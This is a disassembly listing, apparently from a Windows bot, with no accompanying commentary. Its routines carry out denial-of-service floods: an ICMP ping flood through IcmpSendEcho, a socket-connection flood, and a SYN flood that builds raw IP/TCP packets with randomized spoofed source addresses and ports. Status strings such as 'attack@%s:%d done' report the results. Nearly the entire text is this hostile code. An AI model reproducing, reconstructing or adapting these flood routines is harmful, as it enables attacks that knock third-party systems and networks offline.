		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40142E
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4277B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427850	proc near		; CODE XREF: sub_4014CEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427850
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F0EC
		lea	ecx, [esi+79h]
		mov	[esp+14h+var_4], 4
		call	sub_401226
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+11h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427850	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427910:				; CODE XREF: ___:loc_4016DBj
					; ___:0040219Ej
		push	esi
		mov	esi, ecx
		call	sub_4014CE
		test	byte ptr [esp+8], 1
		jz	short loc_427928
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427928:				; CODE XREF: ___:0042791Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427940	proc near		; CODE XREF: sub_4011FEj ___:0040209Fj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4020AE
		test	[esp+4+arg_0], 1
		jz	short loc_427958
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427958:				; CODE XREF: sub_427940+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427970	proc near		; CODE XREF: sub_4020AEj
		jmp	sub_4014CE
sub_427970	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427990	proc near		; CODE XREF: sub_401A50j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427990
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+60h]
		mov	ecx, [esi+5Ch]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_40183E
		add	esp, 10h
		test	eax, eax
		jz	short loc_427A54
		mov	edx, [esi+5Ch]
		mov	ecx, edi
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aSFinishedFlood ; "[%s] Finished	flooding %s %d Times"
		push	eax
		call	sub_40102D
		add	esp, 14h
		jmp	short loc_427A6E
; ---------------------------------------------------------------------------


loc_427A54:				; CODE XREF: sub_427990+9Aj
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+38h+var_24]
		push	offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch


loc_427A6E:				; CODE XREF: sub_427990+C2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+90h]
		push	eax
		mov	al, [esi+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427990	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427B10	proc near		; CODE XREF: sub_401E9Cj

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_437B30
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27E08A3h
		mov	esi, eax
		test	esi, esi
		jz	short loc_427B7A
		mov	edi, dword_511918
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_51011C, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_510120, eax
		call	edi
		mov	ecx, dword_51011C
		mov	dword_510118, eax
		test	ecx, ecx
		jz	short loc_427B7A
		mov	edx, dword_510120
		test	edx, edx
		jz	short loc_427B7A
		test	eax, eax
		jz	short loc_427B7A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_427B85


loc_427B7A:				; CODE XREF: sub_427B10+1Bj
					; sub_427B10+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_427B85:				; CODE XREF: sub_427B10+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_427B9C
		mov	[esp+24h+arg_FFE8], eax


loc_427B9C:				; CODE XREF: sub_427B10+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_427BAF
		mov	ebp, 1


loc_427BAF:				; CODE XREF: sub_427B10+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_427BF4


loc_427BC0:				; CODE XREF: sub_427B10+E2j
		mov	al, byte_4D84B9
		test	al, al
		jz	short loc_427BF4
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_510118	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_427BC0


loc_427BF4:				; CODE XREF: sub_427B10+AEj
					; sub_427B10+B7j
		push	edi
		call	dword_510120	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_427B10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C50	proc near		; CODE XREF: sub_40183Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40188E
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E9C
		add	esp, 14h
		retn
sub_427C50	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427C90	proc near		; CODE XREF: sub_401BDBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427C90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	nullsub_10
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427C90	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_427D00:				; CODE XREF: ___:00401A28j
					; ___:00401AC3j
		push	esi
		mov	esi, ecx
		call	sub_401807
		test	byte ptr [esp+8], 1
		jz	short loc_427D18
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427D18:				; CODE XREF: ___:00427D0Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427D30	proc near		; CODE XREF: sub_401807j
		jmp	sub_4014CE
sub_427D30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427D50	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E7D8F
		mov	[esp+2Ch+var_28], eax


loc_427D76:				; CODE XREF: sub_427D50+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_427D87
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E86EF
		jl	short loc_427D76


loc_427D87:				; CODE XREF: sub_427D50+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_427F39
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E7D1Bh[eax*8]
		call	sub_4017EE
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_427DF0
		mov	dword ptr [ebp+68h], 5


loc_427DF0:				; CODE XREF: sub_427D50+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_510128
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_510328
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2790000h
		test	eax, eax
		mov	dword_51032C, eax
		jz	short loc_427E8B
		push	offset dword_448F34
		push	5
		push	eax
		push	0
		push	offset dword_510128
		call	sub_4013F2
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_427EBB
; ---------------------------------------------------------------------------


loc_427E8B:				; CODE XREF: sub_427D50+11Dj
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_427EBB:				; CODE XREF: sub_427D50+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_40142E
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017EE
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014DD
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_427F39:				; CODE XREF: sub_427D50+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_427D50	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427FD0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E7D1Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_428066
		push	ebp
		call	near ptr 71AB4FD4h
		nop
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_42805F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_42805F:				; CODE XREF: sub_427FD0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_428066:				; CODE XREF: sub_427FD0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_428116
		mov	ebx, dword_511C3C


loc_428085:				; CODE XREF: sub_427FD0+140j
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_428116
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_42809B:				; CODE XREF: sub_427FD0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4280BB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_4280BB:				; CODE XREF: sub_427FD0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_42809B
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280CA:				; CODE XREF: sub_427FD0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_4280CA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2821DE2h
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_4280F3:				; CODE XREF: sub_427FD0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_4280F3
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_428085


loc_428116:				; CODE XREF: sub_427FD0+A9j
					; sub_427FD0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D8735[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_427FD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4281A0	proc near		; CODE XREF: sub_401DF2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4281A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F10C
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4281A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428210	proc near		; CODE XREF: ___:004016E5j sub_40182Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_428228
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_428228:				; CODE XREF: sub_428210+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_428210	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_428240	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014CE
sub_428240	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_428260	proc near		; CODE XREF: sub_401EB0j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_428260
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_40142E
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014DD
		push	eax
		call	sub_401DCF
sub_428260	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4283D0	proc near		; CODE XREF: sub_401BC7j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021C6
sub_4283D0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_428461
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_428461:				; CODE XREF: ___:00428441j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_428494
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_428494:				; CODE XREF: ___:00428485j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4284B7


loc_4284AA:				; CODE XREF: ___:0042865Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4284B7:				; CODE XREF: ___:004284A8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_511C38
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		call	near ptr 27E0B10h
		nop
		mov	[esp+48h], eax
		mov	al, byte_4D84B9
		test	al, al
		jz	loc_42870B
		mov	ebx, dword_511AC8
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_428555
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_428555:				; CODE XREF: ___:00428551j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A37
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A37
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		call	near ptr 71AB2C69h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4284AA
		nop
		call	near ptr 27E0B10h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_428707
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4286A9
		push	2710h
		push	3E8h
		call	sub_4021C6
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4286A9:				; CODE XREF: ___:0042868Ej
		push	0FFh
		push	0
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021C6
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 96E8E890h, 0B9A0023Fh, 84004D84h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


